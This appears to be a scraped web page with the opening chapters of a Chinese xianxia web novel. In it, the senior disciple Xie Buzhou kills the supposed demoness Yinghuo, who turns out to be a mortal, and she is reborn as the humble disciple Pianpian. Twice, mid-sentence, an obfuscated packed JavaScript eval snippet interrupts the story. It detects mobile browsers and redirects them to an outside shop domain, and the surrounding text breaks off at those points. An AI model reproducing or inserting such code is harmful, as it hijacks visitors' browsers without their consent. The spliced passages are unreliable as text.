《仙君他为何有两幅面孔》 1. 第一章 玉宸宗近来,很不太平。 倒非魔道攻山,亦非秘宝失窃,而是—— 话本子泛滥成灾。 尤其那些封面花哨、题名耸动的,什么《倾世魔女:冷面首徒》、《斩情:仙君与妖女的百年缠缚》、《琳琅劫:诛邪剑下的缱绻》,简直如春末柳絮,悄无声息便散播到了宗门各个角落。 弟子们修炼间隙,不再论道辩法,反是三五一簇,脑袋抵着脑袋。 时而发出压抑的低呼,时而传来长吁短叹。 “快看这段!荧惑指尖勾起不舟下颌,眉眼尽是痛惜,声若勾魂:‘谢仙君,你这般正道楷模,可知我妖道亦有真心?’……听听,多么情深意重!” “还是这卷妙!不舟一剑既出,却在触及她心口前骤然停滞,剑锋倒映出她眼角泪痣,他持剑的手一颤:’我们为何……会落得如此这般?’呜呼痛哉,虐煞人心!” 小师妹明月躲在一块巨大的试剑石后,竖着耳朵听得眉飞色舞,怀里紧紧搂着一册刚用五块下品灵石换来的《诛邪葬心》。 书页边角已被她揉得发皱。 看看!这写的! 多缱绻!多荡气回肠! 身为玉宸宗掌门座下年岁最小、亦最是跳脱的弟子,明月简直是这阵歪风邪气最忠实的拥趸者。 她入门迟,未赶上七师兄谢不舟与那位传闻中的灾星荧惑,恩怨情痴最炽烈的年月。 所有关乎此二人的零星印象,除却师长们讳莫如深的只言片语。 余下的,尽数源于这些话本子。 据可靠话本所载,当年七师兄下山诛邪,偶遇对容貌遮遮掩掩的荧惑。 初遇如惊鸿照影,再见倾心。 一个是仙门圭璋,清寂如雪; 一个是魔道妖女,艳烈如火。 本该势同冰炭,偏生干柴烈火,爱得那般撕心裂肺,难分难解。 奈何殊途难归,天命弄人。 荧惑终究妖性难除,盗取神器忘川镜,犯下屠城血案,恶行昭昭,罄竹难书。 七师兄痛断肝肠,不得已挥剑斩情丝,自此二人恩义义绝,再见便是生死之敌。 何等经典的桥段! 何等凄绝的恋曲! 明月捧住心口,眸中泪光流转。 她实难想象,那般能令七师兄此等人物都沉沦的荧惑,该是何等的风华绝代? 而七师兄亲手了结挚爱时,又该是何等的肝肠寸断? “明月!你又在此处躲闲!” 一声带着笑意的斥责传来。 明月吓得一跳,手忙脚乱将话本塞入袖中,抬眼望去,正是素来交好的师兄陈澜。 她拍拍胸脯,嗔道:“师兄吓坏我了!我这不是……不是在体悟世情,揣摩人心么!” 陈澜嗤笑,顺手自她袖中抽出那卷《诛邪葬心》,翻了两页,嘴角微抽:“体悟这个?若是谢师兄知晓,罚你去思过崖面壁三载。” “七师兄才不舍得呢!” 明月抢回话本,宝贝似的抚平卷角,“七师兄如今满心唯有即将到来的决战,哪有余暇理会我等看些闲书杂卷。” 提及决战,陈澜面上戏谑也淡去几分,换作一副混杂着紧绷与亢奋的神色:“明日便是谢师兄率领仙门百家,攻打琳琅城之期了。你说,谢师兄见到那荧惑,可当真会……手下容情?” “定然会啊!” 明月斩钉截铁,“话本里白纸黑字写着,爱之愈深,恨之愈切。七师兄心里定是苦不堪言。你想想,亲手诛杀心尖上的人……天爷!” 她捧心,一副感同身受的痛楚状。 陈澜摇头,觉得小师妹中毒已深:“罢了,莫要胡思乱想。掌门召所有内门弟子训话,速去。” —— 玉宸殿内,氛围肃杀。 掌门玄胤真人一身玄青道袍,长髯垂胸,面容清癯,端坐上首。 两侧诸位长老,皆面色沉凝。 下方,以不舟为首的众内门弟子垂手恭立。 谢不舟立于最前。 他身着一袭月白衣裳,面容俊美无俦,却似覆着一层万载不化的霜雪,眉宇间疏离淡漠,窥不出半分情绪。 腰间悬着一柄连鞘大剑,剑鞘古拙,上刻“善恶”二字云篆。 正是其本命仙器。 明月悄悄抬眼望着七师兄挺直的背影,心头如有幼猫抓挠。 七师兄真真是龙章之资,也真真是冷若冰霜。 这般人物,动情时该是何等模样? 她臆想着话本所描,七师兄被荧惑勾住脖颈,冰雪消融,眼波欲流的景象…… 赶忙晃晃脑袋,将这大逆不道的画面驱散。 掌门玄胤真人的声音回荡殿中,带着不容置喙的威严:“……魔头妖邪,罪孽深重!盗我人界至宝忘川镜,屠戮无辜生灵,其恶行人神共愤,天道不容!明日,我徒不舟将代我玉宸宗,执掌仙门盟军,踏平琳琅城,诛杀此妖星,以正天道!” 他目光落于谢不舟身上,带着期许与些许沉重:“不舟,你自幼由为师抚养,心性纯一,道基稳固。你之仙剑善恶,辨善恶,斩妖邪。明日,便是你以此剑涤荡邪气,匡扶正义之时。切莫因私废……” “师尊。” 谢不舟出声打断,音色平稳,不起波澜,似昆山玉碎,“弟子心中,唯有正道。妖邪,当诛。” 玄胤真人微微颔首:“善!方为我玉宸宗首徒之担当!” 明月在一旁听得热血满腔。 七师兄果真深明大义! 为苍生故,忍痛割爱! 她再瞧七师兄侧影时,眼中已盈满崇敬与怜惜。 ——— 翌日,琳琅城外。 黑云压城,旌旗蔽空。 仙门百家修士阵列森严,法宝辉光流转,凛然的杀气直冲云霄。 玉宸宗弟子首当其冲,列于阵前。 个个白衣胜雪,剑气凌霄。 谢不舟立于阵首,善恶剑未出鞘,只静静悬于身侧。 那剑此刻看来不过寻常大小,古朴无华。 狂风卷得他衣袂飞舞,几缕墨发拂过他面颊,而他目光平视,遥遥锁死前方那座巍峨的巨城—— 琳琅城。 但见一座奇峰拔地而起,山体之上,无数宫殿楼阁依势而建,层层叠叠,镶嵌于苍翠之间。 琉璃碧瓦,雕栏玉砌,在昏暗天光下依然流转着华美的光泽,宛如天道将无数珍宝精心点缀于这青山之上。 可以想见,若在平素夜晚,此地定是灯火璀璨,烟火辉煌,恍若九天仙宫遗落凡尘。 只可惜今夜是决战。 琳琅城戒严,没有那奢靡享乐的灯火。 城墙之上,一道绯红身影倚着墙面。 明月仗着身量娇小,又提前用了张隐匿气息的符箓,悄悄潜至剑阵侧翼一方墙后,拨开草垛,瞪圆了眼使劲望。 那便是荧惑么? 隔得远,瞧不真切容貌,只见那人着一身繁复绮丽的绯红裙裳,青丝未绾,随风飞舞。 她身姿窈窕,懒洋洋双手抱臂,纵使此刻面对着千军万刃,亦透着一股漫不经心的潇洒。 单看这风姿,这体态…… 明月心头的小人已开始狂啸。 果然与话本所述一般无二。 妖女!祸水! 正该配七师兄! 她激动得指节发白,脑海中已自行上演那经典戏码: 四目相交,天雷勾地火,旧情复燃,爱恨痴缠,含泪相拥,或是一方忍痛出手,另一方引颈就戮…… 然则,她臆想中那缠绵悱恻、虐恋情深的名场面,并未如期而至。 谢不舟动了。 他未有半分迟疑,甚至未启唇吐露半句。 只见他并指如剑,周身灵力刹那奔涌如海。 那柄善恶剑发出一声低沉的嗡鸣,自剑鞘脱离,露出其下隐藏的、远超寻常仙剑的宽阔剑身。 更令人瞠目结舌的是,这剑身在出鞘过程中竟迎风而长。 几乎就在瞬息之间,它化作一柄犹如山岳般巨大的重剑,寒芒凛冽,剑刃厚重,带着劈山斩岳般的磅礴气势。 “善恶。” 冰冷的两个字,撞入明月耳膜。 下一瞬,善恶化作一道足以劈开山岳的金光,携着雷霆万钧之势,直劈城头那道绯红身影。 明月的心提到了嗓子眼。 来了! 荧惑将如何应对? 是祭出忘川镜, 抑或施展何种惊天术法? 但—— 什么都没有。 城墙上的荧惑,面对这泰山压顶般的一剑,只微微抬了抬手。 那姿态,不似结印施法,倒像是…… 随意地挥了挥袖子。 就像是没看到谢不舟那柄在她头顶落下阴影的重剑。 她甚至不曾闪避。 剑光及体的刹那,明月恍惚见着,她那张模糊的脸上,唇角极轻地弯了一下,似是…… 预料到了所发生的一切? 这不对! 太不对了! 仙门首徒与魔道灾星的巅峰对决,理当打得天崩地裂,日月交替。 可明月望去,不舟仍是那个出手毫不留情的玉宸首徒,善恶剑仍然霸道,杀气四溢。 那荧惑呢? 那个传闻中翻云覆雨,当着众多仙门大能的面盗走忘川镜、血洗城池的魔头,怎会如此…… 不堪? 甚至,根本接不下谢不舟这看似寻常的一剑。 是因情根深种,故而对他无从下手? 甘愿殒命其剑下? 明月脑中乱作一团麻。 那七师兄呢? 电光石火,容不得她细思。 “轰——!” 一声沉闷如雷的巨响,在这死寂的战场上,异常骇人。 是重剑碾压肉躯,骨骼尽碎的声响。 那道剑光,精准地,以最纯粹的力量,将城头那道绯红身影彻底吞没、碾在地上。 时间,仿佛于此刻凝固定格。 未有魔气汹涌,未有垂死反扑。 只余一种被绝对力量摧毁后的、彻底的死寂。 “砰!” 尘埃混合着身躯重重砸落在地,溅起大片灰尘。 善恶剑功成,发出满足般的剑鸣,它迅速缩小,化作流光飞回不舟身侧。 剑身光洁如新,不染半分血。 仙门阵营爆出震天喝彩,欢庆正道得胜,魔头伏诛。 明月却如遭冰封,四肢百骸寒意彻骨。 她扒着草茎的指节用力到泛白,眼珠死死盯在那一片狼藉。 怎会……如此? 他们……不该是爱侣么? 话本里不是这般写的啊。 纵是死,不也该有一段临终遗言,或留下什么信物么? 这死得…… 也太彻底了些! 她见七师兄谢不舟的身影自半空中徐徐降下,走向那女子身旁。 明月再按捺不住,忘了隐匿,跌跌撞撞自草垛后冲出,又跌跌撞撞奔至不舟身侧。 谢不舟刚杀了人,虽剑未染血,但周身仍萦绕着浓重的血腥气。 明月靠近时,本能地生出惧意,脚步一滞。 她先下意识望向地上那身体。 离得近了,方能从那一片狼藉中,勉强分辨出属于人族的四肢身体,以及一张还算完整的、却已毫无生气的脸。 怎么形容呢? 那是一张很普通,甚至普通到泯然路人矣的脸。 比起在话本中形容的艳丽嚣张,此时的荧惑双眸紧闭,长睫在眼睑投下浅影,神情竟是那样脆弱,眉头紧皱着。 这绝不像一个恶贯满盈的魔头死时该有的模样。 继而,明月听到了谢不舟的声音。 那不再是平静无波澜的语调,而是带着一种难以置信的、细微的颤栗。 他倚着剑单膝跪地。 “为何……为何她体内……空空如也,灵根……俱无……” 明月猛地抬头,看向谢不舟。 只见她那位素来山崩于前而不改色的七师兄,此刻面容发僵,眼神空茫地望定地上那具已不成形的躯体。 他紧握善恶剑的手,微微抖动。 “我竟……” 谢不舟嗓音更低,“……杀了一个毫无修为的……凡俗女子。” 凡……人? 明月仿若被雷劈中,灵台一片空白。 一个凡人? 怎么可能? 屠城,盗宝? 搅得整个修仙界风云变色的妖星荧惑,是个凡人? 这比话本里的传奇更显荒诞。 谢不舟此刻才察觉明月的存在。 他缓缓侧首,面庞溅上的零星血点,令他平日如玉雕琢的脸庞也显出几分狼狈来。 仰面看向明月,他眼中是平素未见过的迷惘。 他一字一顿地问,像个迷途的孩子: “师尊言,她是十恶不赦之徒,当诛。可一介凡人……如何在这修仙界犯下滔天恶行?我……我甚至连她名姓亦不知晓。” 他认出明月所着玉宸宗弟子服饰,如同溺水者抓住救命浮木: “师妹,你可知……这妖邪唤作什么?” 明月张了张口,喉头似被什么堵死,半个字也吐不出。 她自然知晓。 全修仙界无人不晓。话本里写了千遍万遍。 荧惑。 她叫荧惑。 可是,望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495774|202494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着七师兄那双满是困惑、却隐含一丝希冀的眸子,明月只觉一股寒意自足底直冲天灵盖。 原来……修仙界传颂的,荧惑与不舟那惊心动魄、相爱相杀的旷世奇恋,实则, 实则二人根本……素未谋面??? 明月立于猎猎寒风中,望着地上死得惨烈的凡人荧惑,再看向茫然无措、道心似已生出裂痕的七师兄。 只觉眼前种种,比任何话本都更离谱玄幻,也更令人…… 心底发寒。 就在这死寂的刹那—— 异变陡生。 地上,那凡人荧惑的尸体中心,竟毫无征兆地迸发出一阵耀眼、却不刺目的温润白光。 那光芒纯净剔透,不似凡间之物,其中心隐隐约约,竟似有一面镜子的虚影一闪而逝。 白光如日阳撒向地面,瞬间将地上荧惑的尸体,以及近在咫尺、尚处于巨大震惊中的谢不舟一同吞没。 “七师兄——!” 明月失声惊呼,伸手欲抓,却只触及一片虚无的光晕。 光芒来得快,去得也快,仿佛只是错觉。 待眼前恢复清明,城墙之上,除了那扬起的尘埃与尚未散尽的血腥,哪里还有谢不舟与荧惑的身影? 唯有方才白光最盛的地面上,静静躺着一片不过指甲盖大小、边缘不规则的镜子碎片。 在暗淡月光下,它流转着一丝难以察觉的微光。 ——— 人活着,就会死。 或重于泰山,或轻于鸿毛。 此情此景躺在马棚里,翩翩觉得自己真是倒了八辈子血霉。 作恶多端? 她承认,是有一点儿。 但被……被一座山活活压死,连句遗言都不让留,也忒不讲究了! 比如她真想大喊一声: 本城主跟那个谢不舟真的没一腿! 那个冰块脸甚至连她的名字都不记得! 再比如,她真想告诉那些给她扣灾星帽子的家伙。 她不叫荧惑。 那不过是她声名狼藉时,旁人强按给她的名头。 她有个顶顶普通,甚至带着点傻气的名字,叫翩翩。 可小透明到底是小透明。 数年低调无人问,一朝成魔天下知。 翩翩曾在玉宸宗做了许多年杂役弟子,可到头来,竟然没一人记得,也没一人唤过她的本名。 唉, 委实让人恼怒。 她蹲在草棚旁的阴凉处,捧着一只豁了口的碗,碗里是用稀粥煮成的糊糊。 她小口小口地喝着那点糊糊,聊以慰藉。 再过几日,他们这些弟子便要随队前往鲛人所居的海底执行任务。 这算是提前适应一下伙食。 死过一次,重回这十年前依旧清贫的打杂岁月,翩翩心里很是憋屈。 她做贼似的左右瞅瞅,小心翼翼地从怀里摸出个小油纸包。 里面是几根她今早从厨房大师傅那儿软磨硬泡、外加帮着劈了半晌柴火才换来的一小包咸菜。 她拈起一根腌白菜,正要往粥碗里放—— “丑丫头!死哪儿去了?有事找你,赶紧滚过来!” 不远处,几个穿着比她稍好些的外门弟子,正颐指气使地朝她这边吆喝。 “好嘞!师兄们稍等,我马上就来!” 翩翩脸上瞬间堆起一个狗腿的笑容,心里却早已将这几位师兄的祖宗十八代都问候了一遍。 愉快的午餐时光就此告一段落。 翩翩恋恋不舍地看了眼那碗即将拥有咸味的糊糊,认命地站起身,拍了拍屁股上的草屑,脸上依旧挂着那副人畜无害、甚至有点傻气的笑容。 小跑了过去。 从呼风唤雨的琳琅城城主,一朝回到解放前,继续当她的杂役小可怜。 这落差不可谓不大。 翩翩也只能仰天长叹。 时也命也。 不过,回想起前世被谢不舟那柄巨大无比的善恶剑如同小山般压顶而来、活活碾死的经历。 大热天的,她额上冒着冷汗。 她决定。 这一世,她要藏得严一些,低调做人,低调做事,绝不重蹈覆辙! 当下她只想安安稳稳混口饭吃,最好能攒点小钱,写点话本子什么的。 昔日贵为琳琅城城主,各种藏着掖着的大小秘闻,翩翩知道得只多不少。 写些八卦,造些谣言。 她惯会做这种忽悠人的事。 至于前尘往事—— 万幸的是,据她所知,这几日正是玉宸宗内门弟子出门历练的日子。 他们被分成了数个小队,前往各处帮助平民百姓,斩妖除魔。 而那位在话本里与她缠缠绵绵,现实中却一剑送她归西的煞星谢不舟。 以其首徒之尊,自然是众星捧月。 从他组队的消息放出来起—— 名额瞬间就被抢光了。 所以, 她暂时不用刚重生,就直面那位杀了自己、还与自己有一段旷世孽缘的仇人。 一想到不用看见谢不舟那张冻死人的脸—— 翩翩心里顿时感觉轻快了不少。 她几乎是一路哼着不成调的乡野小曲,脚步轻快地来到了几位外门师兄所住的客栈。 只是,刚到客栈门口。 翩翩便察觉到了一丝不同寻常。 只见客栈大堂内外,竟围了不少人,不仅有她相熟的那几位外门弟子,还有一些面生的内门师兄师姐。 众人皆是神色各异,目光复杂。 将大堂围得水泄不通。 而他们看到翩翩到来,不再像往常那样露出毫不掩饰的厌恶或颐指气使,反而像是喉咙里卡了根鱼刺。 眼神深深地、带着某种难以言喻的探究与古怪。 目光齐刷刷地聚焦在她身上。 翩翩心里咯噔一下。 这气氛……不对啊。 她硬着头皮,在众人无声的注视下,一步步往里走。 人群自动分开一条狭窄的通道。 然后,她的脚步顿住。 在看到来者时,脸上的笑容瞬间僵住。 只见客栈大堂中央,本应在千里之外某处执行历练任务、绝不该出现在此地的人,此刻正端坐在一张椅上。 那人穿着一身纤尘不染的月白弟子服,墨发玉冠,身姿挺拔如孤松映雪。 正是玉宸宗首徒。 她的死对头兼仇人—— 谢不舟。 谢不舟微微抬眸,那双深不见底的寒眸,准确无误地锁定了僵在门口的翩翩,薄唇轻启,清冷如玉磬相击的声音,不带丝毫情绪地在大堂中响起: “师妹,好久不见。” 2. 第 2 章 见到谢不舟的那一刻, 翩翩只觉灵台嗡鸣,遍体生寒。 好久不见个头啊。 毕竟是前不久才亲手将她一剑穿心、送她往生之人,翩翩需耗尽全身气力,方能压制住想暴打谢不舟的冲动,不在对方面前失态。 但实则—— 翩翩垂首敛目,声若蚊蚋地唤了句:“师兄。” 人在屋檐下,不得不低头。 一道如有实质的目光落在她的身上,沉甸甸的,带着化神期修士特有的灵压。 几乎让翩翩喘不过气。 作为掌门玄胤真人座下首徒,玉宸宗谁人不知谢不舟的惊才绝艳? 修为已近化神。 堪称同辈修士中当之无愧的魁首。 未来不可限量。 从旁人的议论和自己前世的切身体会中,翩翩早已拼凑出谢不舟的可怖实力。 那目光在她身上停留了许久,久到翩翩几乎要以为自己的重生秘密已被勘破。 终于,威压稍敛,只听那平淡无波的清冷嗓音响起:“随我来。” 语气平淡,却带着不容置疑的意味。 以他首徒之尊,以他们之间云泥之别的实力差距,如今的谢不舟若要捏死她,当真与碾死一只蝼蚁无异。 翩翩不敢多言,更不敢反抗,只得如履薄冰般,安安分分地跟在他身后。 在一众弟子惊疑、探究、乃至隐含嫉妒的目光中, 一步步踏上这悬浮于云海之上客栈的木质楼梯。 众人窃窃私语被隔绝在身后,翩翩心下亦是惊涛骇浪。 谢不舟为何独独找上她? 一个籍籍无名、修为低微的外门弟子? 重生前作为天下人皆欲诛之的灾星,她自然为自己留了保命的最后底牌—— 那面镜子。 镜子是她的本命镜,有着逆转光阴之能,可令持有者回到过去的某个时间节点。 暂避死劫。 毕竟她走南闯北,一路都在树敌。 没点非常规的保命手段,怎么当她的一城之主? 怎么当她苟到大结局的耐杀反派? 然机会仅有一次,非到万不得已。 她绝不会动用。 可眼下…… 翩翩抬眼飞快地瞥了一眼前方那挺拔冷峻的背影,心头疑窦丛生。 莫非,这镜子并非单人回溯。 竟将当时离她最近的谢不舟也一并卷了回来? 思及此,翩翩霎时冷汗涔涔,浸湿了内衫。 上辈子她可是被这位爷一剑毙命,连半句辩解都未能出口。 此番他特意寻来,莫非…… 是察觉了什么,要再补上一剑,斩草除根? 怀着这般忐忑,翩翩随不舟步入他下榻的客房。 室内陈设简洁,一桌一椅一榻,皆透着主人不染尘埃的冷清。 不舟径自于桌旁坐下,翩翩自不敢与他同席,只垂手立一旁,心中已将最坏的情形预演了数遍。 她只觉得颈后凉飕飕的,仿佛那柄名为善恶的仙剑随时会再度出鞘。 正当她以为自己离身首异处只差谢不舟一个念头时,却听谢不舟突兀开口,问了一个全然出乎意料的问题: “你,叫什么名字?” 名字? 翩翩一怔,心下更是警铃大作。 杀人前还要问清名姓? 这是何等怪癖? 上辈子可没这流程。 她按捺住狂跳的心,哆哆嗦嗦地回答:“回、回师兄的话,弟子……名叫翩翩,翩翩……动人的翩翩。” 谢不舟闻言,剑眉几不可察地蹙起:“为何没有姓氏?” 姓氏? 翩翩愈发狐疑,却仍老老实实答道:“弟子是宗门收养的孤儿,不知父母,故而……” “无姓。” 她自幼失怙,流离失所,丫头便是她最初的称谓。 翩翩这名字,还是多年前一位偶遇的过路人随口赠予的。 回答完这个问题。 室内再度陷入一片令人窒息的沉寂。 常年混迹外门,早已学会察言观色的翩翩,敏锐地察觉到,谢不舟似乎…… 在迟疑? 他在迟疑什么? 莫非是在斟酌如何处置她更为妥帖? 翩翩满心绝望。 她自认前世虽行事乖张,却也未曾直接开罪过这位玉宸首徒。 ……咳咳。 若细究起来, 倒也并非全无瓜葛。 譬如,那些传得沸沸扬扬、绘声绘色的她与谢不舟的风流韵事,始作俑者—— 正是她本人。 彼时她已是琳琅城主,闲来无事,忆起昔年在宗门时,与这位高高在上的师兄数次擦肩,对方却连眼风都未曾施舍一个。 忽而恶向胆边生。 便遣人杜撰了诸多话本子,四处散播,无非是想瞧瞧这位高岭之花听闻谣言后—— 会是何等窘迫难堪的模样。 如今想来,观其最后一战时那冷硬似铁、毫不动摇的神色。 她那些小动作,怕是…… 丁点用处也无。 翩翩暗自撇了撇嘴。 恰在此时,谢不舟倏然起身,似是已做出了某种决断。 翩翩尚未回神,便听他开口道: “自今日起,你需跟随我左右,我去何处,你便去何处。” 此言石破天惊,翩翩一时未能领会其意,下意识歪了歪头,面上写满困惑。 谢不舟见她不解,难得开口解释,语气依旧平淡无波:“我观你身具魔根,恐有沦为灾星之潜质。为苍生计,我决意时刻监视于你,防患于未然。” 魔根? 灾星潜质? 翩翩闻言,心头先是一松—— 他并非因前世之事发难。 旋即又是一紧—— 这确凿是那个曾一剑捅死她的谢不舟无疑! 他能预见她未来的恶行? 那她是不是还得感激他此番的不杀之恩与提前防范? 翩翩心下恼恨交加,面上却不敢显露分毫。 人可以不要脸,但不能不要命。 她绝不能让谢不舟知晓自己亦是回溯而来。 戏,必须演下去。 演到连自己都信以为真。 “师兄……” 翩翩抬眸,眼中瞬间盈满了恰到好处的惊愕,手指不安地绞着衣袖。 “您……您这话是何意?我实在听不明白。” 她壮着胆子向前凑近一小步,果然见谢不舟眉头微蹙,下意识向后稍撤了半步。 他向来不喜旁人近身。 翩翩心中冷笑,面上却绽开一个纯然的笑意:“师兄久居山巅,潜心修道,怕是不甚知晓这凡尘俗世的……” “规矩。” 她话语间隐含一分试探:“师兄可知,在这人界,一个男子一见面便追问女子名姓,问了名姓就开始找各种借口,试图与她同进同出、形影不离……” “意味着什么吗?” 不舟眸光微动,静待她的下文。 翩翩唇角的笑意加深,一字一句,清晰地说道: “意味着倾慕呀,师兄。” “所以,” 她微微偏头,目光直直撞入他那双深不见底的寒眸。 “师兄,您可是……心仪于我?” “甚至,因为心仪,所以找了什么劳子的灾星妖邪当借口,实则对我因爱生恨了吧?” “因爱生恨?” 谢不舟发出一声轻嗤,像是要被她给气笑了。 他双手抱臂,身后那原本迟迟不动的善恶剑也仿佛随了主人心性。 急不可待,隐隐想要脱离剑鞘。 “善恶。” 谢不舟叫了本命剑的名字。 “砍她。” 谢师兄冰冷的嘴里吐出无情的话。 翩翩立刻马上转身,脚下步履生风。 生怕自己跑得不够快。 瞬息间她的脑袋就被挂在善恶上当装饰剑穗。 毕竟她上次听到谢不舟叫着善恶的名字,没来得及眨眼,就再也看不到明天的太阳。 “师兄,开个玩笑嘛。” 翩翩跑得头也不回。 “我就不打扰你嘞。” 一溜烟, 她就没了影。 ——— 鲛人镇。 一处深藏于碧落海之下,本该如梦似幻、繁华绮丽的秘境。 传闻此地乃鲛人族聚居之所,有明珠为灯,珊瑚作景,贝阙珠宫,流光溢彩。 这里也曾是修真界中无数修士心向往之的休闲圣地。 然而,当翩翩一行人抵达碧落海畔时,只觉海风中都带着一丝不寻常的寂寥。 修士呢?来往的鲛人呢? 以及经常手扯一张传音符,扯着嗓子喊“你们就待在原地,不要乱跑,待会儿我要清点人数”的苦逼引渡人哪儿去了? “此地有异,寻常方法怕是进不得那深海之下的鲛人镇。” 一位名唤聆音的师姐从同门中走出。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495775|202494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她身着碧色裙衫,气质温婉,腰间挂着几个小巧的香袋。 乃是宗门内以驭使灵宠、通晓心音修行的弟子。 只见她立于礁石之上,闭上双眼,唇边溢出轻柔的音节,似在与有灵生物沟通。 片刻后,海面之下传来欢快灵动的鸣叫。 数只体型优美、线条流畅的海豚破浪而出,亲昵地围绕在聆音身边,用光滑的脊背蹭着她的手掌。 “有劳诸位载我们一程了。” 聆音含笑抚摸着海豚,转头对众人道,“诸位同门,请先服下屏息丹,此丹可保我等在深海之中如常呼吸行动。” 为了此次任务,显然聆音已经提前做好准备。 众人依言服下丹药,顿觉一股清凉之意流转周身,口鼻间仿佛生出了无形的鳃。 翩翩随着众人,小心翼翼地跨上一只海豚。 那海豚极通人性,待她坐稳,便发出一声欢鸣,随即如离弦之箭般,载着她一头扎入蔚蓝的海水之中。 丹药生效,翩翩并未感到窒息,反而能清晰地看到周身被劈开的海水通道。 两侧是徜徉的鱼群、摇曳的水草与发光的珊瑚,光怪陆离,瑰丽非凡。 海豚速度极快,穿过斑斓的层层水域,不断向着更深邃、更幽暗的海底潜去。 不知过了多久,前方隐约出现一片巨大的阴影。 待到近前,方才看清,那竟是一座依托于巨大海沟、由无数巨大珊瑚、贝壳海螺构筑而成的城镇—— 鲛人镇。 然而,与传闻中的奇珍异景不同,眼前的鲛人镇笼罩在一片黯淡的微光中。 许多珊瑚建筑显得苍白破败,原本应流光溢彩的明珠灯盏也熄灭大半,整座城镇透着一股难以言喻的衰败与死寂。 海豚将他们送至镇口便优雅地转身离去。 众人脚踏在街道上,心情沉重。 街道空旷,视线所及。 只有一些行动迟缓、面容布满皱纹的老龟人或老鲛人,倚在自家以巨大海螺或珊瑚筑成的房舍门口,眼神浑浊地望着他们这些不速之客。 莫说年轻的鲛人,便是稚龄的人鱼孩童也见不到一个。 一名曾随师长来此游历过的弟子不禁喃喃:“还真是奇怪。我几百年前到此地时,鲛人镇尚是人山人海,商旅云集,何等热闹。这才几年光景,怎就……就破败至此?” 他的感慨引来了众人的思索,也提醒了大家此行的重任。 唯有谢不舟。 他对周遭这海底异景似无所觉,目光依旧胶着在身侧的翩翩身上。 未曾移开分毫。 仿佛她才是这荒凉海底小镇中最值得警惕的隐患。 ?不是??? 又跟她有什么关系? 说起上辈子的鲛人镇之行,翩翩就满肚子怨气。 当时他们一行人刚到了海岸,同门言道,她只是个杂役,去了也毫无用处。 就把她……撂到了岸边。 翩翩就这样呆坐在海边,看着平静无波的海面,看着偶尔过来过去的修士。 本来这也不是件大事,毕竟翩翩在玉宸宫平日连背景板都算不上。 可恨就可恨在, 多年后,她当上琳琅城城主,偶然听到民间传闻。 说她作恶多端,天生恶种。 说她在鲛人镇,不仅手刃了自己的师兄师姐,还害得鲛人镇……变成一座枯骸孤城。 实际在海边一坐十几天,每天数螃蟹的翩翩:“……” 哇哦,她那时真有……那么厉害吗? 翩翩想给那些个造她谣的几位崩个脑瓜子。 他们这么不说她眼睛一闭,响指一打,修仙界人数就自动减少一半呢。 她偷偷瞥了眼谢不舟,对方还是一副狐疑的表情。 好哦,更气了。 这时,一位背着厚重甲壳、步履蹒跚的老龟人,见他们一行人气度不凡,主动迎了上来,脸上堆起热情却又难掩憔悴的笑:“哎呦,几位仙长可是远道而来?怎的就到了我们这深海沟沟里?” 他的目光扫过众人,落在队伍中年纪最轻、尚带几分稚气的小师弟陈澜身上。 老龟人忽地眼神一亮,流露出一种近乎怀念的复杂神情,喃喃道:“还有这般年岁的娃娃……真好,真好。老朽上次见到这般年纪的娃娃,那已是五年前的事喽……” 此言一出。 众人皆是一怔。 一个曾是生机勃勃的鲛人聚居地,怎会…… 五年未见婴孩? 一股无形的寒意,悄然漫上众人心头。 3. 第 3 章 “诸位仙长,我家老爷已在堂上恭候多时了。” 引路的女鲛人声音悦耳如歌,带着鲛人一族独有的韵律。 她手提一盏明灯,引着众人穿过由宝镜构筑的长廊。 自街口辞别那位言语蹊跷的老者,翩翩一行人便径直来到了此次任务的委托人—— 鲛人镇中德高望重的长老,沧溟的府邸。 一路行来,果如老者所言,莫说婴孩啼哭,便是稍大些幼童的嬉闹声也未曾听闻。 整个镇子沉寂得可怕。 唯有水流拂过建筑缝隙时,发出阵阵低鸣。 然而,更令人心生困惑的是, 在这般民生凋敝的鲛人镇,竟藏着如此一座犹如东海龙宫、气派恢弘到令人咋舌的府邸。 翩翩踏入府门,便觉此府与寻常富贵人家迥异。 她前世好歹执掌琳琅城,什么泼天富贵、奇巧淫珍没见识过? 但这沧溟长老的府邸,却透着一股说不出的怪异与…… 一种无形的压力。 与寻常商贾或修士洞府不同,此府极重意趣。 这一路走来,各色珊瑚丛生,形态各异,色彩斑斓,巨大的蚌壳偶尔张开,露出内里的珍珠,发光的水母如同活灯笼,在缓缓飘荡。 但每往前几步,廊上便会出现一面装饰性的宝镜。 一面两面倒还说得过去。 没准这鲛人长老就是喜欢揽镜自赏,注重仪容。 然而,随着他们越走越深,镜子的数量非但没有减少,反而愈发密集。 左右廊壁,乃至走廊转角,每隔数步便有一面。 镜面幽幽,反射着众人行走的身影,光影交错间,竟让人生出一种被无数双眼睛无声窥视的错觉。 “哎,姐姐,这里怎么会有这么多镜子?” 小孩的观察能力与好奇心最重。 陈澜停在一面宝镜前,左看看,右看看,实在忍不住,开口问了前方引路的女鲛人。 那女鲛人闻言,停下脚步,转身对着陈澜露出一个恰到好处的微笑:“仙长说得可是这称心如意镜?” “称心如意镜?” 陈澜眨了眨眼,更加好奇。 